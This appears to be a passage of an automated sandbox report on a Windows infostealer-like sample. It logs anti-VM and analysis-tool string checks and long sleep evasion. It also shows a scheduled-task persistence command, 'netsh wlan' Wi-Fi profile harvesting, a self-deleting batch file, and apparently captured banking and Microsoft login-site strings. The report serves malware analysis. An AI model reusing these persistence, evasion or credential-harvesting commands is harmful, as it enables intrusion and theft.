Source: HTZ4az17lj.exe, 00000000.00000002.2116685622.0000029580001000.00000004.00000800.00020000.00000000.sdmp, uuhbr0xg.h20.exe, 0000000B.00000002.2097336335.0000025680001000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: SBIEDLL.DLL
Source: HTZ4az17lj.exe, 00000000.00000002.2116685622.0000029580001000.00000004.00000800.00020000.00000000.sdmp, uuhbr0xg.h20.exe, 0000000B.00000002.2097336335.0000025680001000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AUTORUNS.EXE
Source: HTZ4az17lj.exe, 00000000.00000002.2116685622.0000029580001000.00000004.00000800.00020000.00000000.sdmp, uuhbr0xg.h20.exe, 0000000B.00000002.2097336335.0000025680001000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: FIDDLER.EXE2
Source: HTZ4az17lj.exe, 00000000.00000002.2116685622.0000029580001000.00000004.00000800.00020000.00000000.sdmp, uuhbr0xg.h20.exe, 0000000B.00000002.2097336335.0000025680001000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: PETOOLS.EXE
Source: HTZ4az17lj.exe, 00000000.00000002.2116685622.0000029580001000.00000004.00000800.00020000.00000000.sdmp, uuhbr0xg.h20.exe, 0000000B.00000002.2097336335.0000025680001000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: IDAQ.EXE
Source: HTZ4az17lj.exe, 00000000.00000002.2116685622.0000029580001000.00000004.00000800.00020000.00000000.sdmp, uuhbr0xg.h20.exe, 0000000B.00000002.2097336335.0000025680001000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: DUMPCAP.EXE
Source: HTZ4az17lj.exe, 00000000.00000002.2116685622.0000029580001000.00000004.00000800.00020000.00000000.sdmp, uuhbr0xg.h20.exe, 0000000B.00000002.2097336335.0000025680001000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: WIRESHARK.EXE
Source: HTZ4az17lj.exe, 00000000.00000002.2116685622.0000029580001000.00000004.00000800.00020000.00000000.sdmp, uuhbr0xg.h20.exe, 0000000B.00000002.2097336335.0000025680001000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: FILEMON.EXE

Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Memory allocated: 295F4F80000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Memory allocated: 295F6A10000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\uuhbr0xg.h20.exe	Memory allocated: 256F17A0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\uuhbr0xg.h20.exe	Memory allocated: 256F32F0000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Thread delayed: delay time: 599751	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Thread delayed: delay time: 599619	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Thread delayed: delay time: 599460	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Thread delayed: delay time: 599356	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Thread delayed: delay time: 599247	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Thread delayed: delay time: 599128	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Thread delayed: delay time: 598988	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Thread delayed: delay time: 598874	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Thread delayed: delay time: 598765	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Thread delayed: delay time: 598655	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Thread delayed: delay time: 598546	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Thread delayed: delay time: 598435	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Thread delayed: delay time: 598327	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Thread delayed: delay time: 598215	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Thread delayed: delay time: 598106	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Thread delayed: delay time: 597997	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Thread delayed: delay time: 597870	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Thread delayed: delay time: 597746	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Thread delayed: delay time: 597561	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Thread delayed: delay time: 597449	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Thread delayed: delay time: 597343	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Thread delayed: delay time: 597233	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Thread delayed: delay time: 597124	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Thread delayed: delay time: 597008	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Thread delayed: delay time: 596906	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Thread delayed: delay time: 596768	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Thread delayed: delay time: 596608	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Thread delayed: delay time: 596436	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Thread delayed: delay time: 596232	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Thread delayed: delay time: 596124	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Thread delayed: delay time: 596013	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Thread delayed: delay time: 595905	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Thread delayed: delay time: 595783	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Thread delayed: delay time: 595654	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Thread delayed: delay time: 595545	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Thread delayed: delay time: 595433	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Thread delayed: delay time: 595326	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Thread delayed: delay time: 595217	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Thread delayed: delay time: 595107	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Thread delayed: delay time: 595001	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Thread delayed: delay time: 594855	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Thread delayed: delay time: 594745	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Thread delayed: delay time: 594631	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Thread delayed: delay time: 594508	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Thread delayed: delay time: 594399	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Thread delayed: delay time: 594280	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Thread delayed: delay time: 594171	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Thread delayed: delay time: 594060	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Thread delayed: delay time: 593952	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Thread delayed: delay time: 593843	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Thread delayed: delay time: 593733	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Thread delayed: delay time: 593624	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\uuhbr0xg.h20.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Window / User API: threadDelayed 4975			Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Window / User API: threadDelayed 4555			Jump to behavior

Source: C:\Users\user\Desktop\HTZ4az17lj.exe TID: 7436	Thread sleep time: -34126476536362649s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe TID: 7436	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe TID: 7436	Thread sleep time: -599751s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe TID: 7436	Thread sleep time: -599619s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe TID: 7436	Thread sleep time: -599460s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe TID: 7436	Thread sleep time: -599356s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe TID: 7436	Thread sleep time: -599247s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe TID: 7436	Thread sleep time: -599128s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe TID: 7436	Thread sleep time: -598988s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe TID: 7436	Thread sleep time: -598874s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe TID: 7436	Thread sleep time: -598765s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe TID: 7436	Thread sleep time: -598655s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe TID: 7436	Thread sleep time: -598546s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe TID: 7436	Thread sleep time: -598435s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe TID: 7436	Thread sleep time: -598327s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe TID: 7436	Thread sleep time: -598215s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe TID: 7436	Thread sleep time: -598106s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe TID: 7436	Thread sleep time: -597997s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe TID: 7436	Thread sleep time: -597870s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe TID: 7436	Thread sleep time: -597746s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe TID: 7436	Thread sleep time: -597561s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe TID: 7436	Thread sleep time: -597449s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe TID: 7436	Thread sleep time: -597343s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe TID: 7436	Thread sleep time: -597233s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe TID: 7436	Thread sleep time: -597124s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe TID: 7436	Thread sleep time: -597008s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe TID: 7436	Thread sleep time: -596906s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe TID: 7436	Thread sleep time: -596768s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe TID: 7436	Thread sleep time: -596608s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe TID: 7436	Thread sleep time: -596436s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe TID: 7436	Thread sleep time: -596232s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe TID: 7436	Thread sleep time: -596124s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe TID: 7436	Thread sleep time: -596013s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe TID: 7436	Thread sleep time: -595905s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe TID: 7436	Thread sleep time: -595783s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe TID: 7436	Thread sleep time: -595654s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe TID: 7436	Thread sleep time: -595545s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe TID: 7436	Thread sleep time: -595433s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe TID: 7436	Thread sleep time: -595326s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe TID: 7436	Thread sleep time: -595217s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe TID: 7436	Thread sleep time: -595107s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe TID: 7436	Thread sleep time: -595001s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe TID: 7436	Thread sleep time: -594855s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe TID: 7436	Thread sleep time: -594745s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe TID: 7436	Thread sleep time: -594631s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe TID: 7436	Thread sleep time: -594508s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe TID: 7436	Thread sleep time: -594399s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe TID: 7436	Thread sleep time: -594280s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe TID: 7436	Thread sleep time: -594171s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe TID: 7436	Thread sleep time: -594060s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe TID: 7436	Thread sleep time: -593952s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe TID: 7436	Thread sleep time: -593843s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe TID: 7436	Thread sleep time: -593733s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe TID: 7436	Thread sleep time: -593624s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\uuhbr0xg.h20.exe TID: 7396	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\uuhbr0xg.h20.exe TID: 7868	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\HTZ4az17lj.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * From Win32_ComputerSystem
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * From Win32_ComputerSystem
Source: C:\Users\user\AppData\Local\Temp\uuhbr0xg.h20.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * From Win32_ComputerSystem

Source: C:\Users\user\Desktop\HTZ4az17lj.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select ProcessorId From Win32_processor
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select ProcessorId From Win32_processor
Source: C:\Users\user\AppData\Local\Temp\uuhbr0xg.h20.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Thread delayed: delay time: 599751	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Thread delayed: delay time: 599619	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Thread delayed: delay time: 599460	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Thread delayed: delay time: 599356	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Thread delayed: delay time: 599247	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Thread delayed: delay time: 599128	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Thread delayed: delay time: 598988	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Thread delayed: delay time: 598874	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Thread delayed: delay time: 598765	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Thread delayed: delay time: 598655	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Thread delayed: delay time: 598546	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Thread delayed: delay time: 598435	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Thread delayed: delay time: 598327	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Thread delayed: delay time: 598215	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Thread delayed: delay time: 598106	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Thread delayed: delay time: 597997	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Thread delayed: delay time: 597870	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Thread delayed: delay time: 597746	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Thread delayed: delay time: 597561	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Thread delayed: delay time: 597449	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Thread delayed: delay time: 597343	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Thread delayed: delay time: 597233	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Thread delayed: delay time: 597124	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Thread delayed: delay time: 597008	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Thread delayed: delay time: 596906	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Thread delayed: delay time: 596768	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Thread delayed: delay time: 596608	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Thread delayed: delay time: 596436	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Thread delayed: delay time: 596232	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Thread delayed: delay time: 596124	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Thread delayed: delay time: 596013	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Thread delayed: delay time: 595905	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Thread delayed: delay time: 595783	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Thread delayed: delay time: 595654	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Thread delayed: delay time: 595545	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Thread delayed: delay time: 595433	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Thread delayed: delay time: 595326	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Thread delayed: delay time: 595217	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Thread delayed: delay time: 595107	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Thread delayed: delay time: 595001	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Thread delayed: delay time: 594855	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Thread delayed: delay time: 594745	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Thread delayed: delay time: 594631	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Thread delayed: delay time: 594508	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Thread delayed: delay time: 594399	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Thread delayed: delay time: 594280	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Thread delayed: delay time: 594171	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Thread delayed: delay time: 594060	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Thread delayed: delay time: 593952	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Thread delayed: delay time: 593843	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Thread delayed: delay time: 593733	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Thread delayed: delay time: 593624	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\uuhbr0xg.h20.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: HTZ4az17lj.exe, 00000000.00000002.2116685622.0000029580001000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMware
Source: tmp90AB.tmp.dat.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: tmp90AB.tmp.dat.0.dr	Binary or memory string: discord.comVMware20,11696428655f
Source: tmp90AB.tmp.dat.0.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: tmp90AB.tmp.dat.0.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: tmp90AB.tmp.dat.0.dr	Binary or memory string: global block list test formVMware20,11696428655
Source: tmp90AB.tmp.dat.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: uuhbr0xg.h20.exe, 0000000B.00000002.2102395683.00000256F39D8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}8b}\f
Source: tmp90AB.tmp.dat.0.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: tmp90AB.tmp.dat.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: tmp90AB.tmp.dat.0.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: tmp90AB.tmp.dat.0.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: tmp90AB.tmp.dat.0.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: tmp90AB.tmp.dat.0.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: tmp90AB.tmp.dat.0.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: tmp90AB.tmp.dat.0.dr	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: tmp90AB.tmp.dat.0.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: HTZ4az17lj.exe, 00000000.00000002.2143247050.00000295F70D0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: tmp90AB.tmp.dat.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: tmp90AB.tmp.dat.0.dr	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: tmp90AB.tmp.dat.0.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: tmp90AB.tmp.dat.0.dr	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: uuhbr0xg.h20.exe, 0000000B.00000002.2102395683.00000256F39D8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWV
Source: tmp90AB.tmp.dat.0.dr	Binary or memory string: AMC password management pageVMware20,11696428655
Source: tmp90AB.tmp.dat.0.dr	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: tmp90AB.tmp.dat.0.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: HTZ4az17lj.exe, 00000000.00000002.2116685622.0000029580001000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vmware
Source: tmp90AB.tmp.dat.0.dr	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: tmp90AB.tmp.dat.0.dr	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: tmp90AB.tmp.dat.0.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: tmp90AB.tmp.dat.0.dr	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: tmp90AB.tmp.dat.0.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: tmp90AB.tmp.dat.0.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: tmp90AB.tmp.dat.0.dr	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: tmp90AB.tmp.dat.0.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h
Source: tmp90AB.tmp.dat.0.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655

Source: C:\Users\user\Desktop\HTZ4az17lj.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Process token adjusted: Debug

Source: C:\Users\user\Desktop\HTZ4az17lj.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Process created: C:\Windows\System32\schtasks.exe "schtasks.exe" /query /TN WinTask	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument C:\Users\user\AppData\Local\Temp\p.html	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Process created: C:\Windows\System32\schtasks.exe "schtasks.exe" /query /TN WinTask	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Process created: C:\Windows\System32\schtasks.exe "C:\Windows\System32\schtasks.exe" /create /tn WinTask /tr C:\Users\user\AppData\Local\Temp\uuhbr0xg.h20.exe /sc minute /mo 5	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C chcp 65001 && netsh wlan show profile \| findstr All	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C chcp 65001 && netsh wlan show networks mode=bssid	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C C:\Users\user\AppData\Local\Temp\tmpB2A0.tmp.bat & Del C:\Users\user\AppData\Local\Temp\tmpB2A0.tmp.bat	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\uuhbr0xg.h20.exe	Process created: C:\Windows\System32\schtasks.exe "schtasks.exe" /query /TN WinTask	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\uuhbr0xg.h20.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument C:\Users\user\AppData\Local\Temp\p.html	Jump to behavior
